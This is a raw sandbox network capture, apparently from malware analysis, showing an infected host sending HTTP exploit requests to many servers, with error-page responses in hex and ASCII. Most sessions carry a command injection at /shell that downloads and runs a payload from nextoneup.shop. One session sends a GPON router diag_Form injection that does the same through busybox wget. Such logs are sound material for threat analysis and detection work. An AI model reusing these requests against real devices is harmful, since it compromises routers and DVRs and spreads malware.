67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 6f 20 7b 0a Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34041 9Not Found1fca</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info {
Apr 14, 2024 04:00:57.120302916 CEST	1289	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 43 43 43 43 43 43 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 Data Ascii: color: #CCCCCC; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text {
Apr 14, 2024 04:00:57.120327950 CEST	1289	IN	Data Raw: 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 Data Ascii: ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 10
Apr 14, 2024 04:00:57.120351076 CEST	1289	IN	Data Raw: 2d 69 6e 66 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 Data Ascii: -info { font-size: 18px; } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address {
Apr 14, 2024 04:00:57.120402098 CEST	1289	IN	Data Raw: 6a 4a 6e 7a 4f 30 38 51 43 41 75 67 4c 61 6c 4b 65 71 50 2f 6d 45 6d 57 36 51 6a 2b 42 50 49 45 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b Data Ascii: jJnzO08QCAugLalKeqP/mEmW6Qj+BPIE7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C
Apr 14, 2024 04:00:57.120424986 CEST	1289	IN	Data Raw: 77 4b 73 61 63 4d 49 2f 54 56 4f 4c 6c 48 6a 51 6a 4d 31 59 56 74 56 51 33 52 77 68 76 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 Data Ascii: wKsacMI/TVOLlHjQjM1YVtVQ3RwhvORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUK
Apr 14, 2024 04:00:57.120682001 CEST	1289	IN	Data Raw: 52 63 65 63 57 66 6b 45 6d 64 43 41 65 68 67 75 65 75 54 6d 4e 74 2b 73 68 6b 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 Data Ascii: RcecWfkEmdCAehgueuTmNt+shkReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1
Apr 14, 2024 04:00:57.120704889 CEST	1289	IN	Data Raw: 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 61 63 74 2d 69 6e 66 6f 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: n> </section> <section class="contact-info"> Please forward this error screen to 1c127.0.0.1's <a href="mailto:2cserver@hostfaddy.com?subject=Error message [5404] b(none) for c127.0.
Apr 14, 2024 04:00:57.120830059 CEST	441	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f Data Ascii: <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" a
Apr 14, 2024 04:00:57.747972965 CEST	441	IN	Data Raw: 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 63 70 61 6e 65 6c 2e 63 6f 6d 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 63 70 61 6e 65 6c 77 68 6d 26 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f Data Ascii: <a href="http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=131404referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" a

Session ID	Source IP	Source Port	Destination IP	Destination Port
1436	192.168.2.23	55308	78.156.121.70	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:56.828871012 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.164657116 CEST	241	IN	HTTP/1.1 404 Not Found Connection: Keep-Alive Content-Length: 109 Date: Sun, 14 Apr 2024 02:00:57 GMT Expires: 0 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1437	192.168.2.23	40226	52.58.193.221	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.046343088 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.363934994 CEST	408	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Sun, 14 Apr 2024 02:00:57 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1438	192.168.2.23	48702	120.77.17.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.060511112 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.101351976 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.443144083 CEST	403	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:00:58 GMT Content-Type: text/html Content-Length: 154 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws Via: HTTP/1.1 SLB.215 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body bgcolor="white"><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1439	192.168.2.23	39538	198.145.75.148	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.061021090 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:58.787651062 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1440	192.168.2.23	35030	23.207.20.191	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.186465979 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.644532919 CEST	532	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 310 Expires: Sun, 14 Apr 2024 02:00:57 GMT Date: Sun, 14 Apr 2024 02:00:57 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 32 36 66 62 31 33 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 37 26 23 34 36 3b 33 66 34 31 30 65 61 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 32 36 66 62 31 33 30 32 26 23 34 36 3b 31 37 31 33 30 36 30 30 35 37 26 23 34 36 3b 33 66 34 31 30 65 61 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.26fb1302.1713060057.3f410ea<P>https://errors.edgesuite.net/9.26fb1302.1713060057.3f410ea</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1441	192.168.2.23	34208	38.11.41.16	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.542869091 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.723480940 CEST	306	IN	HTTP/1.1 404 Not Found Server: nginx Date: Sun, 14 Apr 2024 02:00:57 GMT Content-Type: text/html Content-Length: 146 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1442	192.168.2.23	59782	65.8.163.44	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.543123960 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.723819971 CEST	316	IN	HTTP/1.1 403 Forbidden Server: CloudFront Date: Sun, 14 Apr 2024 02:00:57 GMT Content-Type: text/html Content-Length: 151 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1443	192.168.2.23	53434	5.61.196.78	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.554378033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1444	192.168.2.23	34368	104.192.5.85	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.575206041 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.950644016 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/8.5 X-Powered-By: ASP.NET Date: Sun, 14 Apr 2024 02:00:52 GMT Content-Length: 1245 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 3c 2f 64 69 76 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 3c 66 69 65 6c 64 73 65 74 3e 0d 0a 20 20 3c 68 32 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 0d 0a 20 20 3c 68 33 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 79 6f 75 20 61 72 65 20 6c 6f 6f 6b 69 6e 67 20 66 6f 72 20 6d 69 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>404 - File or directory not found.</title><style type="text/css">...body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}fieldset{padding:0 15px 10px 15px;} h1{font-size:2.4em;margin:0;color:#FFF;}h2{font-size:1.7em;margin:0;color:#CC0000;} h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;} #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;background-color:#555555;}#content{margin:0 0 0 2%;position:relative;}.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}--></style></head><body><div id="header"><h1>Server Error</h1></div><div id="content"> <div class="content-container"><fieldset> <h2>404 - File or directory not found.</h2> <h3>The resource you are looking for mi
Apr 14, 2024 04:00:57.950660944 CEST	140	IN	Data Raw: 67 68 74 20 68 61 76 65 20 62 65 65 6e 20 72 65 6d 6f 76 65 64 2c 20 68 61 64 20 69 74 73 20 6e 61 6d 65 20 63 68 61 6e 67 65 64 2c 20 6f 72 20 69 73 20 74 65 6d 70 6f 72 61 72 69 6c 79 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 68 33 3e 0d 0a Data Ascii: ght have been removed, had its name changed, or is temporarily unavailable.</h3> </fieldset></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1445	192.168.2.23	49536	38.108.12.144	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:57.589844942 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:57.817209005 CEST	491	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 345 Date: Sun, 14 Apr 2024 02:00:57 GMT Server: lighttpd/1.4.39 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 